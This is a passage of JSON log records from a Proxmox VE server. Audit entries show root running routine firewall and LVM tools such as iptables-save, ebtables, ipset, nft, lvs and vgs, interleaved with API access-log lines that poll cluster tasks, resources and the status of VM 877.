tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965992750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965215229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.229:64662): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134590 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525387,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.387:65989): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964445119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.119:61040): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137f10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965991521,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781965215220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.220:64661): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525378,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.378:65988): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964444393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.393:61039): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965991521,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965215214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.214:64660): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fbb80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525368,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.368:65987): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964444385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.385:61036): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965989797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781965215208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.208:64659): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134560 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525362,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.362:65985): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964444320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.320:61033): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcae0 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965989797,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965215202,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.202:64658): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148d20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525355,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.355:65984): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964444275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.275:61032): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6d81d70 a1=64f8d73be760 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965989797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965215196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.196:64657): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525348,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.348:65983): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964439376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964439.376:61031): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965988499,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965215187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.187:64656): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525340,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.340:65982): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964439361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964439.361:61028): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965988499,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965215180,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.180:64655): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139400 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525335,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.335:65981): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964436111,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.111:61025): arch=c000003e syscall=59 success=yes exit=0 a0=567ef5c83cf0 a1=567ef5c8ff00 a2=567ef5c5d680 a3=5 items=2 ppid=58584 pid=58590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965988499,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965215175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.175:64654): arch=c000003e syscall=59 success=yes exit=0 a0=5ac84c5cb0a0 a1=5ac84c5c7e20 a2=5ac84c5a9680 a3=5 items=2 ppid=62109 pid=62115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525329,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.329:65980): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964436108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.108:61024): arch=c000003e syscall=59 success=yes exit=0 a0=567edd247ac8 a1=7ffd813d3c90 a2=567ef5c5d680 a3=567edd22b24e items=2 ppid=58584 pid=58586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965987392,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.170:64653): arch=c000003e syscall=59 success=yes exit=0 a0=5ac819a40ac8 a1=7ffedd886320 a2=5ac84c5a9680 a3=5ac819a2424e items=2 ppid=62109 pid=62111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525319,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.319:65979): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964436106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.106:61023): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd813d3c50 a1=567ef5c7f390 a2=567ef5c5d680 a3=5 items=2 ppid=58584 pid=58585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965987392,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.170:64652): arch=c000003e syscall=59 success=yes exit=0 a0=7ffedd8862e0 a1=5ac84c5b0310 a2=5ac84c5a9680 a3=5 items=2 ppid=62109 pid=62110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525310,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.310:65978): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964436102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.102:61021): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58584 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965215164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.164:64650): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525303,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.303:65977): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964436096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.096:61020): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965985773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781965215158,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.158:64649): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525291,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.291:65976): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964436090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.090:61019): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984772,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965215150,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.150:64648): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525284,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.284:65975): argc=1 a0=\"date\""} {"@timestamp":1781964436083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.083:61018): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965215144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.144:64647): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525279,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.279:65973): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964436077,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.077:61017): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965215136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.136:64646): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecee0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525271,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.271:65972): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964436074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.074:61016): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f4fea986740 items=0 ppid=1156 pid=58579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965983763,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965215126,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.126:64645): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e61a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525263,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.263:65971): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964436071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.071:61015): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965983763,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 891"} {"@timestamp":1781965214783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965214.783:64644): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1915da0 a1=64f8d740bf70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525255,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.255:65970): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964436066,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.066:61014): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136590 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965982753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781965214754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965214.754:64643): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1940 a1=64f8d73c3c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62100 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525246,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.246:65969): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964436061,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.061:61013): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f53b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965981748,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965212192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965212.192:64642): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525237,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.237:65968): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964436056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.056:61012): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965981748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781965212181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965212.181:64639): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965524396,"@rawstring":"node=pve type=EXECVE msg=audit(1781965524.396:65967): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964436051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.051:61011): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bbf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58575 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965980793,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965207.172:64636): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965524358,"@rawstring":"node=pve type=EXECVE msg=audit(1781965524.358:65966): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964436046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.046:61010): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbbdf8400 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" 